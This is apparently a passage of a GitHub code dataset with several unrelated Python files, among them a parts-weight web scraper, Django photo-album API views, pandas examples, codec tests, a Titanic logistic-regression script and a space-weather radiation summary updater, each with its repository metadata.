break\n\ncv2.destroyAllWindows()\ncap.release()\nout.release()\n","repo_name":"ricklon/motion","sub_path":"motion-contour.py","file_name":"motion-contour.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"1747487252","text":"from urllib.parse import urljoin\n\nfrom bs4 import BeautifulSoup\n\nfrom bot.utils import make_request\n\n\ndef _get_mercedes_entries(part_number: str) -> list[dict]:\n \"\"\"Get the entries from the API.\"\"\"\n base_url = \"https://www.fixparts-online.com/en/Catalogs/\"\n # send form data\n params = {\"s\": part_number}\n headers = {\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\n }\n resp = make_request(base_url, params, json=False, headers=headers)\n return resp\n\n\ndef _extract_mercedes_linkpath(html: str, part_number: str) -> str:\n \"\"\"Extract the links from the HTML.\"\"\"\n soup = BeautifulSoup(html, \"html.parser\")\n cards = soup.find_all(\"div\", class_=\"mobile__table\")\n for one in cards:\n link = one.find(\"a\", class_=\"text-orange\")\n if link.text.strip().lower() == part_number.lower():\n return link[\"href\"].strip()\n return None\n\n\ndef _get_mercedes_product_page(linkpath: str) -> str:\n \"\"\"Get the product from the API.\"\"\"\n base_url = \"https://www.fixparts-online.com\"\n url = urljoin(base_url, linkpath)\n headers = {\n \"referral\": \"https://www.fixparts-online.com/en/Catalogs/\",\n }\n resp = make_request(url, None, json=False, headers=headers)\n return resp\n\n\ndef _extract_mercedes_product_weight(html: str) -> float:\n \"\"\"Extract the weight from the HTML.\"\"\"\n soup = BeautifulSoup(html, \"html.parser\")\n weight_row = soup.find(\"div\", class_=\"name\", string=\"Weight\")\n if weight_row is None:\n return 0.0\n weight_value = weight_row.find_next_sibling(\"div\", class_=\"type\")\n if weight_value is None:\n return 0.0\n weight = weight_value.text.rstrip(\"kg\").strip()\n return float(weight)\n\n\ndef get_mercedes_weight(part_number: str) -> float:\n \"\"\"Get the weight of the part from the API.\"\"\"\n entries = _get_mercedes_entries(part_number)\n linkpath = _extract_mercedes_linkpath(entries, part_number)\n if linkpath is None:\n return 0.0\n product = _get_mercedes_product_page(linkpath)\n weight = _extract_mercedes_product_weight(product)\n return weight\n\n\nif __name__ == \"__main__\":\n w = get_mercedes_weight(\"A0259975047\")\n print(f\"Weight: {w}\")\n","repo_name":"Rusteam/whatsapp-spares","sub_path":"bot/mercedes.py","file_name":"mercedes.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"40742571850","text":"from django.shortcuts import get_object_or_404, get_list_or_404, render\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django.views import generic\nfrom rest_framework.generics import GenericAPIView\nfrom rest_framework_jwt.authentication import JSONWebTokenAuthentication\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom django.utils import timezone\n\nfrom rest_framework.mixins import CreateModelMixin\n\nimport json\nimport codecs\n\nfrom rest_framework import viewsets\nfrom src.albums.serializers import AlbumSerializer, PhotoSerializer\nfrom .constants import default_image_url\nfrom .models import Album, Photo\n\n\nclass AlbumDataView(GenericAPIView, CreateModelMixin):\n authentication_classes = (JSONWebTokenAuthentication,)\n queryset = Album.objects.all()\n serializer_class = AlbumSerializer\n\n def perform_create(self, serializer):\n serializer.save(upload_date=timezone.now(), user=self.request.user)\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n headers = self.get_success_headers(serializer.data)\n return Response({\"album\": serializer.data}, status=status.HTTP_201_CREATED, headers=headers)\n\n def get(self, request):\n print(\"inside AlbumDataView.get()\")\n queryset = self.get_queryset()\n serializer = AlbumSerializer(queryset, many=True)\n \n print(serializer.data)\n\n return Response({\"albums\": serializer.data}, content_type=\"JSON\")\n\n def post(self, request):\n print(\"inside AlbumDataView.post()\")\n print(request.data)\n data = request.data\n response = self.create(request)\n return response\n\n\nclass AlbumDetailView(GenericAPIView):\n authentication_classes = (JSONWebTokenAuthentication,)\n lookup_url_kwarg = \"album_id\"\n\n def get(self, request, album_id):\n album_id = self.kwargs.get(self.lookup_url_kwarg)\n photos = Photo.objects.filter(album__id=album_id)\n photo_serializer = PhotoSerializer(photos, many=True)\n\n album = Album.objects.filter(id=album_id)\n album_serializer = AlbumSerializer(album, many=True)\n\n return Response({ \"curr_album\": album_serializer.data,\n \"photos\": photo_serializer.data },\n content_type=\"JSON\")\n\n\nclass CreatePhoto(GenericAPIView, CreateModelMixin):\n print(\"inside CreatePhoto\")\n authentication_classes = (JSONWebTokenAuthentication,)\n lookup_url_kwarg = \"album_id\"\n\n def post(self, request, album_id):\n # print(\"attempting to post photo\")\n\n album_id = self.kwargs.get(self.lookup_url_kwarg)\n album = Album.objects.filter(id=album_id)\n if request.user.id != album[0].user.id:\n return Response({\"statusText\": \"Only album owners can add photos\"},\n status=status.HTTP_403_FORBIDDEN)\n\n body = request.body\n data = json.loads(body.decode(\"utf-8\"))\n\n caption = data[\"caption\"]\n image_url = data[\"image_url\"]\n\n if album[0].image_url == default_image_url:\n album.update(image_url = image_url)\n upload_date = timezone.now()\n\n # Update album's cover image if doesn't exist\n # Check whether url is default\n # album.image_url = image_url\n\n photo = {'caption': caption,\n 'image_url': image_url,\n 'album': album,\n 'upload_date': upload_date}\n\n photo_serializer = PhotoSerializer(data=photo)\n\n if photo_serializer.is_valid():\n photo_serializer.save()\n return Response({\"photo\": photo_serializer.data}, content_type=\"JSON\")\n return Response(photo_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"JoyJing1/Pixpy","sub_path":"src/albums/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3927,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"69852424488","text":"import pandas as pd\nimport numpy as np\n\ndf = pd.DataFrame({'A': [100, 200, 300, 400, 500], 'B': [1000, 2000, 3000, 4000, 5000]})\n\n# for a larger DF, we can use Numpy (r,c)\n\ndf1 = pd.DataFrame(np.random.rand(4, 8), columns=list('ABCDEFGH'))\n# print(df)\n# print(df[1:3])\n\ndf = pd.DataFrame(index=pd.date_range(start='1/1/2018', periods=8),\n data=np.random.rand(8, 2), columns=['A', 'B'])\n\ndf.at[df.index[-1], 'B'] = 1.1 # replace last value in B with 1.1\n# print(df)\n\nbool_filt = df.index > '2018-01-06'\n# print(df[bool_filt])\n\n# resampling\n\ndate_index = pd.date_range(start='01-Jan-2019', end='30-Jan-2019', freq='min')\ndata = np.random.rand(len(date_index), 2)\ndf_intraday = pd.DataFrame(index=date_index, data=data, columns=['A_col', 'B_col'])\n\n# print(df_intraday.head(5))\ndf_hourly_last = df_intraday.resample('H').last()\ndf_sum_columns = df_intraday.sum(axis=0)\nprint(df_sum_columns)\n\ndf_sum_rows = df_intraday.sum(axis=1)\nprint(df_sum_rows)\n","repo_name":"MarkBanford/TipsAndTricks","sub_path":"PandasTricks/CreateExampleDF.py","file_name":"CreateExampleDF.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"28600057110","text":"\n\n\n\n\n\n\n\n\nimport requests\nfrom fake_useragent import UserAgent\nfrom lxml import etree\nimport pandas as pd\n\n\ndef main() -> None:\n url = 'https://ip.ihuan.me/'\n headers = {\n 'User-Agent': UserAgent().random\n }\n\n resp = requests.get(url, headers=headers)\n e = etree.HTML(resp.text)\n tr = e.xpath(\"//table/tbody/tr\")[0]\n\n ip_list = tr.xpath(\"//td[1]/a/text()\")\n port_list = tr.xpath(\"//td[2]/text()\")\n is_support_https_list = tr.xpath('//td[5]/text()')\n anonymity_list = tr.xpath(\"//td[7]/a/text()\")\n speed_list = tr.xpath('//td[8]/text()')\n\n with open('./proxy_ip.csv', \"a\", encoding='utf-8') as f:\n for tuple_str in zip(ip_list, port_list, is_support_https_list, anonymity_list, speed_list):\n # tuple_str = set(tuple_str)\n f.write(','.join(tuple_str)+'\\n')\n\n\n\n\n\n\n\n\n resp.close()\n\n\ndef get_rid_of_repeat() -> None:\n str = ''.join(list(set(open(\"./proxy_ip.csv\", 'r', encoding='utf-8').readlines())))\n with open('./proxy_ip.csv', 'w', encoding='utf-8') as f:\n f.write(str)\n\n\nif __name__ == '__main__':\n # for i in range(10):\n # main()\n get_rid_of_repeat()","repo_name":"WakingHours-GitHub/PythonSpider","sub_path":"项目/爬取代理/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"573988206","text":"# Hye-Shik Chang <1 March 2002>\n\nimport StringIO\nimport sys, codecs\nimport unittest\nfrom korean import aliases\ndel aliases\n\ndef escape(s):\n buffer = []\n for c in map(ord, s):\n if c < 0x20 or c > 0x7f:\n buffer.append(\"\\\\%03o\" % c)\n else:\n buffer.append(chr(c))\n return \"'\" + ''.join(buffer) + \"'\"\n\n\nclass CodecTestBase(unittest.TestCase):\n\n encoding = '' # codec name\n textfile_chunk = None # (native, utf-8) file name tuple\n textfile_stream = None # (native, utf-8)\n \n errortests = None # must set. error test tuple\n\n def setUp(self):\n if not self.textfile_chunk:\n self.textfile_chunk = ('text.' + self.encoding, \n 'text.%s.utf-8' % self.encoding) or self.textfile_stream\n if not self.textfile_stream:\n self.textfile_stream = self.textfile_chunk # checked above. :)\n\n def test_ChunkCoding(self):\n for native, utf8 in zip(*[open(f).readlines() for f in self.textfile_chunk]):\n u = unicode(native, self.encoding)\n self.assertEqual(u, unicode(utf8, 'utf-8'))\n self.assertEqual(native, u.encode(self.encoding))\n\n def test_ErrorHandling(self):\n encode, decode, Reader, Writer = codecs.lookup(self.encoding)\n for source, scheme, expected in self.errortests:\n if type(source) == type(''):\n func = decode\n else:\n func = encode\n if expected:\n result = func(source, scheme)[0]\n self.assertEqual(result, expected)\n else:\n try:\n result = func(source, scheme)[0]\n except UnicodeError:\n continue\n self.fail('UnicodeError expected')\n\n\nclass TestStreamReader:\n\n # stream test codes has taken from KAJIYAMA's JapaneseCodecs\n\n def test_StreamReader(self):\n Reader = codecs.lookup(self.encoding)[2]\n UTF8Writer = codecs.lookup('utf-8')[3]\n textnative = open(self.textfile_stream[0]).read()\n textuni = open(self.textfile_stream[1]).read()\n\n for name in [\"read\", \"readline\", \"readlines\"]:\n for sizehint in [None, -1] + range(1, 33) + [64, 128, 256, 512, 1024]:\n istream = Reader(StringIO.StringIO(textnative))\n ostream = UTF8Writer(StringIO.StringIO())\n func = getattr(istream, name)\n while 1:\n data = func(sizehint)\n if not data:\n break\n if name == \"readlines\":\n ostream.writelines(data)\n else:\n ostream.write(data)\n\n self.assertEqual(ostream.getvalue(), textuni)\n\n\nclass TestStreamWriter:\n\n def test_StreamWriter(self):\n UTF8Reader = codecs.lookup('utf-8')[2]\n Writer = codecs.lookup(self.encoding)[3]\n textnative = open(self.textfile_stream[0]).read()\n textuni = open(self.textfile_stream[1]).read()\n\n for name in [\"read\", \"readline\", \"readlines\"]:\n for sizehint in [None, -1] + range(1, 33) + [64, 128, 256, 512, 1024]:\n istream = UTF8Reader(StringIO.StringIO(textuni))\n ostream = Writer(StringIO.StringIO())\n func = getattr(istream, name)\n while 1:\n data = func(sizehint)\n if not data:\n break\n if name == \"readlines\":\n ostream.writelines(data)\n else:\n ostream.write(data)\n\n self.assertEqual(ostream.getvalue(), textnative)\n\ndef main():\n sys.argv.insert(1, '-v')\n unittest.main(argv=sys.argv)\n","repo_name":"jwasinger/mailman_cas","sub_path":"mailman-2.1.12/misc/KoreanCodecs-2.0.5/test/CodecTestBase.py","file_name":"CodecTestBase.py","file_ext":"py","file_size_in_byte":3829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"32484809912","text":"import pandas as pd \nimport numpy as np \nimport matplotlib.pyplot as plt \nimport random\nfrom sklearn.linear_model import LogisticRegression as LR\n\ndef Age_to_notnull(data):\n\ta= []\n\tfor _ in range(data.Age[data.Age.isnull()].size):\n\t\tli = random.choice(range(1,101))\n\t\tif li <= 15:\n\t\t\ta.append(8.5)\n\t\telif li >73:\n\t\t\ta.append(55)\n\t\telse:\n\t\t\ta.append(27)\n\treturn a\n# 读取数据\npath_train = 'C:/Users/123/Desktop/train.csv'\npath_test = 'C:/Users/123/Desktop/test.csv'\npath_test_y = 'C:/Users/123/Desktop/gender_submission.csv'\ndata = pd.read_csv(path_train)\ntest_data = pd.read_csv(path_test)\ntest_y = pd.read_csv(path_test_y).Survived\n# 数据复制\ntrain_data = data.copy()\n# 数据规约\n# 年龄\ntrain_data.Age[train_data.Age.isnull()] = Age_to_notnull(train_data)\ntest_data.Age[test_data.Age.isnull()] = Age_to_notnull(test_data)\n# 票价\ntrain_data.Fare = train_data.Fare / train_data.Fare.max()\ntest_data.Fare = test_data.Fare / test_data.Fare.max()\ntest_data.Fare[test_data.Fare.isnull()] = test_data.Fare.mean()\n# 性别\ntrain_data.Sex[train_data.Sex == 'female'] = 1\ntrain_data.Sex[train_data.Sex == 'male'] = -1\ntest_data.Sex[test_data.Sex == 'female'] = 1\ntest_data.Sex[test_data.Sex == 'male'] = -1\n# 数据筛选\nx_train = train_data[['Pclass','Sex','Age','SibSp','Parch','Fare']]\ny_train = train_data.Survived\nx_test = test_data[['Pclass','Sex','Age','SibSp','Parch','Fare']]\n# 建模型\nlr = LR()\nlr.fit(x_train,y_train)\nresult = lr.predict(x_test)\nn = 0\nfor i,j in zip(test_y,result):\n\tif i == j:\n\t\tn += 1\nprint('正确率为:',n/test_y.size) \n\n\n\n\n\n\n","repo_name":"jessaperkmen/DataScience","sub_path":"The Battle three/Data.py","file_name":"Data.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"23077010937","text":"import student_container\nfrom user_database import UserDataBase\nfrom view import View\n\nimport string\n\nclass AttendanceView(View):\n\n @classmethod\n def choose_group(cls, classes):\n cls.clear_terminal()\n cls.display_groups(classes)\n group_choice = cls.get_user_input('\\n')\n return group_choice\n\n @classmethod\n def display_groups(cls, classes):\n print(\"Available classes are: \")\n for group in classes:\n print(\"class name: \", group)\n\n @classmethod\n def display_student_to_check(cls, student):\n student_not_checked = True\n while student_not_checked:\n # View.clear_terminal()\n check = cls.get_user_input(\"Is {} present? y/n\".format(student)).lower()\n if check in ('y', 'n'):\n return check\n\n\n","repo_name":"sebastianslupinski/CCMS_Python","sub_path":"attendance_view.py","file_name":"attendance_view.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"9634771692","text":"#!/proj/sot/ska3/flight/bin/python\n\n#############################################################################################\n# #\n# create_crm_summary_table.py: update CRMsummary.dat data summary table #\n# #\n# author: t. isobe (tiosbe@cfa.harvard.edu) #\n# #\n# last update: Oct 07, 2021 #\n# #\n#############################################################################################\n\nimport os\nimport sys\nimport re\nimport string\nimport math\nimport time\nimport datetime\nimport Chandra.Time\nimport random\nimport numpy\n\npath = '/data/mta4/Space_Weather/house_keeping/dir_list'\nwith open(path, 'r') as f:\n data = [line.strip() for line in f.readlines()]\n\nfor ent in data:\n atemp = re.split(':', ent)\n var = atemp[1].strip()\n line = atemp[0].strip()\n exec(\"%s = %s\" %(var, line))\n\nsys.path.append('/data/mta4/Script/Python3.10/MTA/')\nimport mta_common_functions as mcf\n#\n#--- set a temporary file name\n#\nrtail = int(time.time()*random.random())\nzspace = '/tmp/zspace' + str(rtail)\n#\n#--- setting dir path\n#\nroot_dir = '/data/mta4/proj/rac/ops/'\nweb_dir = html_dir + 'CRM/'\ncrmdat_root = crm3_dir + '/Data/CRM3_p.dat'\nsumdat = crm3_dir + '/Data/CRMsummary.dat'\narcdat = crm3_dir + '/Data/CRMarchive.dat'\nephdat = ephem_dir + '/Data/gephem.dat'\nkpdat = ace_dir + '/Data/kp.dat'\nacedat = ace_dir + '/Data/fluace.dat'\ngp_dat = goes_dir + '/Data/Gp_pchan_5m.txt'\n#gs_dat = goes_dir + '/Data/Gs_pchan_5m.txt'\ngpe_dat = goes_dir + '/Data/Gp_part_5m.txt'\n#\n#--- data files\n#\nsim_file = \"/proj/sot/acis/FLU-MON/FPHIST-2001.dat\"\notg_file = \"/proj/sot/acis/FLU-MON/GRATHIST-2001.dat\"\n#for writing out files in test directory\nif (os.getenv('TEST') == 'TEST'):\n os.system('mkdir -p TestOut')\n test_out = os.getcwd() + '/TestOut'\n#\n#--- other settings\n#\ndelta = 300\nsw_factor = [0, 1, 2, 0.5]\ncrm_factor = [0, 0, 1, 1]\n#\n#--- crm file category according to kp value\n#\ncrm_n_list = ['00', '03', '07', '10', '13', '17', '20', '23', '27','30', '33', '37',\\\n '40', '43', '47', '50', '53', '57', '60', '63', '67','70', '73', '77',\\\n '80', '83', '87', '90']\n\ngp_p4_c_factor = 3.4 #---- factor to correct p2 to p4gm \ngp_p7_c_factor = 12.0 #---- facotr to correct p5 to p41gm\n#\n#--- satellite location regarded to the solar wind environment\n#\nsol_region = ['NULL', 'Solar_Wind', 'Magnetosheath', 'Magnetosphere']\n#\n#--- current time in :::: and in seconds from 1998.1.1\n#\ncl_time = time.strftime('%Y:%j:%H:%M:%S', time.gmtime())\ncurrent_time = Chandra.Time.DateTime(cl_time).secs\n\n#-------------------------------------------------------------------------------\n#-- create_crm_summary_table: update CRMsummary.dat data summary table --\n#-------------------------------------------------------------------------------\n\ndef create_crm_summary_table():\n \"\"\"\n update CRMsummary.dat data summary table\n input: none, but read several input data table\n output: /GOES/Data/CRMsummary.dat\n /GOES/Data/CRMarchive.dat\n \"\"\"\n#\n#--- read all needed data\n#\n [gp_p4, gp_p7] = read_goes_p_data(gp_dat)\n #[gs_p2, gs_p5] = read_goes_p_data(gs_dat)\n gp_e2 = read_goes_e_data(gpe_dat)\n [alt, leg] = read_ephem_data()\n [kp, kpi] = read_kp_data() \n ace = read_ace_data()\n [region, flux, summary] = read_crm_fluence(kpi, ace)\n si = read_sim()\n otg = read_otg()\n aflux = find_attenuate_flux(flux, si, otg)\n#\n#--- supply missing data\n#\n if gp_p4 == '': gp_p4 = float(summary[-11])\n if gp_p7 == '': pg_p5 = float(summary[-9])\n ostart = summary[-7]\n fluence = float(summary[-2])\n afluence = float(summary[-1])\n#\n#--- when the orbit changes from decending to acending, write the data into an archive\n#--- and reset orbit starting time (ostart) fluence and afluence\n#\n if leg == 'A' and summary[-6] == 'D':\n oend = time.strftime(\"%Y:%j:%H:%M:%S\", time.gmtime())\n outfile = arcdat\n #for writing out files in test directory\n if (os.getenv('TEST') == 'TEST'):\n outfile = test_out + \"/\" + os.path.basename(arcdat)\n os.system(f\"touch {outfile}\")\n with open(outfile, 'a') as fo:\n line = str(ostart) + ' ' + oend + ' ' + str(fluence) + ' ' + str(afluence) + '\\n'\n fo.write(line)\n ostart = oend\n fluence = 0.0\n afluence = 0.0\n\n fluence += (flux * delta)\n afluence += (aflux * delta)\n#\n#--- print out the data\n#\n line = ''\n line = line + \" Currently scheduled FPSI, OTG : \" + si + ' ' + otg + '\\n'\n line = line + \" Estimated Kp : \" + str(kp) + '\\n'\n line = line + \" ACE EPAM P3 Proton Flux (p/cm^2-s-sr-MeV) : %.2e\\n\" % (check_val(ace))\n line = line + \" GOES-R P4 flux, in RADMON P4GM units : %.2e\\n\" % (check_val(gp_p4))\n #line = line + \" GOES-S P2 flux, in RADMON P4GM units : %.2f\\n\" % (check_val(ps_p2))\n line = line + \" GOES-R P7 flux, in RADMON P41GM units : %.2e\\n\" % (check_val(gp_p7))\n #line = line + \" GOES-S P5 flux, in RADMON P41GM units : %.2f\\n\" % (gp_p7)\n line = line + \" GOES-R E > 2.0 MeV flux (p/cm^2-s-sr) : %.2e\\n\" % (check_val(gp_e2))\n line = line + \" Orbit Start Time : \" + ostart + '\\n'\n line = line + \" Geocentric Distance (km), Orbit Leg : \" + str(alt) + ' ' + leg + '\\n'\n line = line + \" CRM Region : \" + str(region) \n line = line + \"(\" + sol_region[region] + \")\\n\"\n line = line + \" External Proton Flux (p/cm^2-s-sr-MeV) : %.4e\\n\" % (flux)\n line = line + \" Attenuated Proton Flux (p/cm^2-s-sr-MeV) : %.4e\\n\" % (aflux)\n line = line + \" External Proton Orbital Fluence (p/cm^2-sr-MeV) : %.4e\\n\" % (fluence)\n line = line + \"Attenuated Proton Orbital Fluence (p/cm^2-sr-MeV) : %.4e\\n\" % (afluence)\n line = line + '\\n\\n'\n line = line + 'Last Data Update: ' + cl_time + ' (UT)'\n line = line + '\\n\\n'\n #line = line + 'Due to transition to GOES-16, what used to be P2 is now P4\\n'\n #line = line + 'and what used to be P5 is now P7 This message will dissappear\\n'\n #line = line + 'in 01/31/2021'\n\n outfile = sumdat\n #for writing out files in test directory\n if (os.getenv('TEST') == 'TEST'):\n outfile = test_out + \"/\" + os.path.basename(sumdat)\n with open(outfile, 'w') as fo:\n fo.write(line)\n#\n#--- back up the data files\n#\n cmd = 'cp -f ' + sumdat + ' ' + web_dir + 'CRMsummary.dat'\n os.system(cmd)\n cmd = 'cp -f ' + arcdat + ' ' + web_dir + 'CRMarchive.dat'\n os.system(cmd)\n#\n#--- update web page\n#\n update_crm_html()\n#\n#--- plot data (moved to plot_crm_flux_data.py Mar 05, 2020)\n#\n# cmd = '/usr/local/bin/idl ' + crm3_dir + '/Scripts/CRM_plots.idl > /dev/null 2>&1'\n# os.system(cmd)\n\n#-------------------------------------------------------------------------------\n#-------------------------------------------------------------------------------\n#-------------------------------------------------------------------------------\n\ndef check_val(val):\n try:\n val = float(val)\n except:\n val = 0.0\n\n return val\n\n#-------------------------------------------------------------------------------\n#-- read_goes_p_data: read the current GOES proton fluxes --\n#-------------------------------------------------------------------------------\n\ndef read_goes_p_data(ifile):\n \"\"\"\n read the current GOES proton fluxes\n input: ifile --- file name\n output: gp_p4 --- p4 flux\n pg_p7 --- p7 flux\n note: p2 p5 definition may be different from a satellite to another\n \"\"\"\n data = mcf.read_data_file(ifile)\n gp_p4 = ''\n gp_p7 = ''\n if len(data) > 0:\n if data[-2][0] != '#':\n atemp = re.split('\\s+', data[-2])\n try:\n gp_p4 = float(atemp[5]) * gp_p4_c_factor\n gp_p7 = float(atemp[8]) * gp_p7_c_factor\n except:\n pass\n\n return [gp_p4, gp_p7]\n\n#-------------------------------------------------------------------------------\n#-- read_goes_e_data: read the current GOES electron data --\n#-------------------------------------------------------------------------------\n\ndef read_goes_e_data(ifile):\n \"\"\"\n read the current GOES electron data\n input: ifile --- file name\n output: gp_e2 --- flux > 2kev\n \"\"\"\n\n gp_e2 = ''\n data = mcf.read_data_file(ifile)\n for ent in data:\n if ent[0] == '#':\n continue\n atemp = re.split('\\s+', ent)\n try:\n val = float(atemp[14])\n if val > 4.0: #--- it seems 4.0 is the 'null' value\n gp_e2 = val\n except:\n pass\n\n return gp_e2\n\n#-------------------------------------------------------------------------------\n#-- read_ephem_data: read the current ephem data --\n#-------------------------------------------------------------------------------\n\ndef read_ephem_data():\n \"\"\"\n read the current ephem data\n input: none but read from \n output: alt --- altitude\n leg --- A (acending) or D (decending)\n \"\"\"\n data = mcf.read_data_file(ephdat)\n alt = []\n leg = []\n for ent in data:\n atemp = re.split('\\s+', ent)\n alt = int(float(atemp[0])/1000.)\n leg = atemp[1]\n\n return [alt, leg]\n\n#-------------------------------------------------------------------------------\n#-- read_kp_data: read the current kp value --\n#-------------------------------------------------------------------------------\n\ndef read_kp_data():\n \"\"\"\n read the current kp value\n input: none, but read from \n ouput: kp --- kp value\n kpi --- indicator of wihc CRM file to be used\n \"\"\"\n kp = -1.0\n kpi = '00'\n kpgood = kpdat + '.good'\n try:\n data = mcf.read_data_file(kpdat)\n atemp = re.split('\\s+', data[-1])\n kp = float(atemp[-2])\n#\n#--- if the data is good, copy it to kp.dat.good for future use\n#\n cmd = 'cp -f ' + kpdat + ' ' + kpgood\n os.system(cmd)\n except:\n#\n#--- the data is bad. use the last good data\n#\n data = mcf.read_data_file(kpgood)\n atemp = re.split('\\s+', data[-1])\n kp = float(atemp[-2])\n\n kpi = \"%3.1f\" % kp\n kpi = kpi.replace('.', '')\n\n return [kp, kpi]\n\n#-------------------------------------------------------------------------------\n#-- read_ace_data: read current ace value --\n#-------------------------------------------------------------------------------\n\ndef read_ace_data():\n \"\"\"\n read current ace value\n input: none, but read from \n output: ace --- ace value\n \"\"\"\n ace = 0\n acegood = acedat + '.good'\n try:\n data = mcf.read_data_file(acedat)\n atemp = re.split('\\s+', data[-3])\n ace_n = float(atemp[11])\n if ace_n != ace:\n ace = ace_n\n#\n#--- if the data is good, copy it to kp.dat.good for future use\n#\n cmd = 'cp -f ' + acedat + ' ' + acegood\n os.system(cmd)\n else:\n data = mcf.read_data_file(acegood)\n atemp = re.split('\\s+', data[-3])\n ace_n = float(atemp[11])\n if ace_n != ace:\n ace = ace_n\n except:\n#\n#--- the data is bad. use the last good data\n#\n data = mcf.read_data_file(acegood)\n atemp = re.split('\\s+', data[-3])\n ace_n = float(atemp[11])\n if ace_n != ace:\n ace = ace_n\n\n return ace\n\n#-------------------------------------------------------------------------------\n#-- read_crm_fluence: read the last CRMsummary data and compute flux --\n#-------------------------------------------------------------------------------\n\ndef read_crm_fluence(kpi, ace):\n \"\"\"\n read the last CRMsummary data and compute flux\n input: kpi --- crm file indicator\n ace --- ace vluae\n it also reads data from = CRMsummary.dat\n output: flux\n summary --- a list of values of:\n Currently scheduled FPSI, OTG\n Estimated Kp\n ACE EPAM P3 Proton Flux (p/cm^2-s-sr-MeV)\n GOES-P P2 flux, in RADMON P4GM units\n GOES-S P2 flux, in RADMON P4GM units\n GOES-P P5 flux, in RADMON P41GM units\n GOES-S P5 flux, in RADMON P41GM units\n GOES-P E > 2.0 MeV flux (p/cm^2-s-sr)\n Orbit Start Time\n Geocentric Distance (km), Orbit Leg :\n CRM Region\n External Proton Flux (p/cm^2-s-sr-MeV)\n Attenuated Proton Flux (p/cm^2-s-sr-MeV)\n External Proton Orbital Fluence (p/cm^2-sr-MeV)\n Attenuated Proton Orbital Fluence (p/cm^2-sr-MeV)\n \"\"\"\n\n data = mcf.read_data_file(sumdat)\n summary = []\n for ent in data:\n mc = re.search(':', ent)\n if mc is None:\n continue\n mc = re.search('Last', ent)\n if mc is not None:\n break\n\n atemp = re.split('\\s+', ent)\n try:\n val = flat(atemp[-1])\n except:\n val = atemp[-1].strip()\n\n summary.append(val)\n\n ifile = crmdat_root + kpi\n data = mcf.read_data_file(ifile)\n\n chk = 0\n for ent in data:\n atemp = re.split('\\s+', ent)\n time = float(atemp[0])\n if time > current_time:\n comp = atemp\n chk =1\n break\n else:\n stime = time\n save = atemp\n#\n#--- find data closest to the current time\n#\n if chk == 0:\n crm = save\n else:\n if abs(time - current_time) > abs(current_time - stime):\n crm = save\n else:\n crm = comp\n#\n#--- find flux with correction\n#\n region = int(float(crm[1])) \n flux = crm_factor[region] * float(crm[2]) + sw_factor[region] * ace\n\n return [region, flux, summary]\n\n#-------------------------------------------------------------------------------\n#-- read_sim: find the current instrument --\n#-------------------------------------------------------------------------------\n\ndef read_sim():\n \"\"\"\n find the current instrument\n input: none but read from \n output: si\n \"\"\"\n si = 'NA'\n\n data = mcf.read_data_file(sim_file)\n for ent in data:\n atemp = re.split('\\s+', ent)\n btemp = re.split('\\.', atemp[0])\n try:\n ctime = Chandra.Time.DateTime(btemp[0]).secs\n except:\n continue\n if ctime > current_time:\n break\n si = atemp[1]\n\n return si\n\n#-------------------------------------------------------------------------------\n#-- read_otg: find which grating is used ---\n#-------------------------------------------------------------------------------\n\ndef read_otg():\n \"\"\"\n find which grating is used\n input: nont but read from \n output: otg --- HETG/LETG/NONE/BAD\n \"\"\"\n convert_grathist_format()\n data = mcf.read_data_file(otg_file)\n hetg = ''\n letg = ''\n for ent in data:\n cols = re.split('\\s+', ent)\n btemp = re.split('\\.', cols[0])\n try:\n ctime = Chandra.Time.DateTime(btemp[0]).secs\n except:\n continue\n if ctime > current_time:\n break\n else:\n hetg = cols[1]\n letg = cols[2]\n\n otg = 'NONE'\n if hetg == 'HETG-IN' and letg == 'LETG-OUT':\n otg = 'HETG'\n elif hetg == 'HETG-OUT' and letg == 'LETG-IN':\n otg = 'LETG'\n elif hetg == 'HETG-IN' and letg == 'LETG-IN':\n otg = 'BAD'\n else:\n otg = 'NONE'\n\n return otg\n\n#-------------------------------------------------------------------------------\n#-- find_attenuate_flux: compute attenuated flux --\n#-------------------------------------------------------------------------------\n\ndef find_attenuate_flux(flux, si, otg):\n \"\"\"\n compute attenuated flux\n input: flux --- flax\n si --- instrument\n otg --- grating \n output: aflux --- attenudated flux\n \"\"\"\n\n aflux = flux\n mc = re.search('HRC', si)\n if mc is not None:\n aflux = 0.0\n elif otg == 'LETG':\n aflux *= 0.5\n elif otg == 'HETG':\n aflux *= 0.2\n\n return aflux\n \n#-------------------------------------------------------------------------------\n#-- current_yday: get the current tim in day of the year with year ---\n#-------------------------------------------------------------------------------\n\ndef current_yday():\n \"\"\"\n get the current tim in day of the year with year: ex: 2020001.12343\n input: none\n output: ydoy ---- year date with year at the front\n \"\"\"\n\n out = time.strftime('%Y:%j:%H:%M:%S', time.gmtime())\n atemp = re.split(':', out)\n year = float(atemp[0])\n yday = float(atemp[1])\n hh = float(atemp[2])\n mm = float(atemp[3])\n ss = float(atemp[4])\n ydoy = 1000 * year + yday + hh / 24.0 + mm 